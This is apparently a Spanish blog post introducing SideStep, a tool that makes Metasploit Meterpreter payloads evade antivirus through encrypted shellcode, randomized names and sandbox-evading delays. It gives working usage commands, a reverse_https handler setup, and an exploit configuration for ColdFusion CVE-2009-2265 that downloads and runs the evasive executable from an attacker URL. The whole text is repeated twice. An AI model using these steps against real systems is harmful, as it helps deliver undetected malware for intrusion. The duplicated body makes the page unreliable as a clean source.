SideStep es un script en python que podemos usar para que nuestros payloads de Metasploit no sean detectados por los antivirus. Las técnicas fundamentales que utiliza son:
- Cifra el shellcode de Meterpreter generado con msfvenom mediante AES de 128 bits (utilizando la biblioteca de C++ CryptoPP) con una clave generada aleatoriamente. El payload se descifra justo antes de la ejecución.
- Cambia aleatoriamente todos los nombres de variables y funciones. El tamaño de los nombres y las funciones se puede configurar.
- Crea una función que comprueba la hora local del host, luego hace un bucle durante una suma configurable de segundos al principio del programa para evadir sandboxes de AV. También se añade como parámetro un generador DH que suma tiempo extra al inicio.
- Mete el ejecutable con un número configurable de variables que tienen valores aleatorios de tamaño configurable. Estas variables están antes de la llamada a la función main().
- Si Cygwin está presente, utiliza strip para eliminar símbolos de depuración y otra información útil para el reversing.
- Si se usa peCloak, se codificarán las instrucciones de ensamblado en el último paso.
Requisitos:
- Metasploit Community 4.11.1 – Update 2015031001 o posterior
- Ruby 2.x
- Windows (debería funcionar en 7 o 8 – probado en 8.1)
- Python 2.7.x
- Visual Studio (las versiones gratuitas deberían ir bien – probado en 2012)
- Windows SDK
- Cygwin con la utilidad strip (si quieres "strippear" símbolos de depuración)
- peCloak (si quieres usarlo)
Descarga:
$ git clone https://github.com/codewatchorg/SideStep.git
Uso:
El fichero de configuración principal está en conf\settings.py. Luego como mínimo tenemos que indicar la IP y el puerto del handler o manejador de Metasploit:
python sidestep.py --ip 192.168.1.1 --port 443
Por defecto, el fichero fuente se guardará en el directorio .\source y el ejecutable en .\exe. Para instalar el manejador en tu máquina atacante simplemente debemos especificar:
use multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.1.1
set LPORT 443
set AutoRunScript post/windows/manage/smart_migrate
run
La mejor manera de entregar el ejecutable a través de Metasploit es cargar el exploit correspondiente, y luego establecer el PAYLOAD a windows/download_exec, y subir el ejecutable a un servidor web. Un ejemplo de configuración sería:
use exploit/windows/http/coldfusion_fckeditor
set PAYLOAD windows/download_exec
set EXE sidestep.exe
set URL http://www.attacker.com:80/sidestep.exe
set AutoRunScript post/windows/manage/smart_migrate
set RHOST 1.1.1.1
set RPORT 80
run
En este ejemplo explotaríamos la vulnerabilidad "FCKeditor" en ColdFusion (CVE-2009-2265), lanzando un shellcode que descarga un ejecutable desde la URL facilitada, guardándolo con el nombre del EXE elegido, para luego ejecutarlo.
Proyecto GitHub de SideStep: https://github.com/codewatchorg/sidestep
Fuente: http://www.ehacking.net/2015/06/sidestep-yet-another-anti-virus-evasion.html
- Cifra el shellcode de Meterpreter generado con msfvenom mediante AES de 128 bits (utilizando la biblioteca de C++ CryptoPP) con una clave generada aleatoriamente. El payload se descifra justo antes de la ejecución.
- Cambia aleatoriamente todos los nombres de variables y funciones. El tamaño de los nombres y las funciones se puede configurar.
- Crea una función que comprueba la hora local del host, luego hace un bucle durante una suma configurable de segundos al principio del programa para evadir sandboxes de AV. También se añade como parámetro un generador DH que suma tiempo extra al inicio.
- Mete el ejecutable con un número configurable de variables que tienen valores aleatorios de tamaño configurable. Estas variables están antes de la llamada a la función main().
- Si Cygwin está presente, utiliza strip para eliminar símbolos de depuración y otra información útil para el reversing.
- Si se usa peCloak, se codificarán las instrucciones de ensamblado en el último paso.
Requisitos:
- Metasploit Community 4.11.1 – Update 2015031001 o posterior
- Ruby 2.x
- Windows (debería funcionar en 7 o 8 – probado en 8.1)
- Python 2.7.x
- Visual Studio (las versiones gratuitas deberían ir bien – probado en 2012)
- Windows SDK
- Cygwin con la utilidad strip (si quieres "strippear" símbolos de depuración)
- peCloak (si quieres usarlo)
Descarga:
$ git clone https://github.com/codewatchorg/SideStep.git
Uso:
El fichero de configuración principal está en conf\settings.py. Luego como mínimo tenemos que indicar la IP y el puerto del handler o manejador de Metasploit:
python sidestep.py --ip 192.168.1.1 --port 443
Por defecto, el fichero fuente se guardará en el directorio .\source y el ejecutable en .\exe. Para instalar el manejador en tu máquina atacante simplemente debemos especificar:
use multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.1.1
set LPORT 443
set AutoRunScript post/windows/manage/smart_migrate
run
La mejor manera de entregar el ejecutable a través de Metasploit es cargar el exploit correspondiente, y luego establecer el PAYLOAD a windows/download_exec, y subir el ejecutable a un servidor web. Un ejemplo de configuración sería:
use exploit/windows/http/coldfusion_fckeditor
set PAYLOAD windows/download_exec
set EXE sidestep.exe
set URL http://www.attacker.com:80/sidestep.exe
set AutoRunScript post/windows/manage/smart_migrate
set RHOST 1.1.1.1
set RPORT 80
run
En este ejemplo explotaríamos la vulnerabilidad "FCKeditor" en ColdFusion (CVE-2009-2265), lanzando un shellcode que descarga un ejecutable desde la URL facilitada, guardándolo con el nombre del EXE elegido, para luego ejecutarlo.
Proyecto GitHub de SideStep: https://github.com/codewatchorg/sidestep
Fuente: http://www.ehacking.net/2015/06/sidestep-yet-another-anti-virus-evasion.html
Comentarios
Publicar un comentario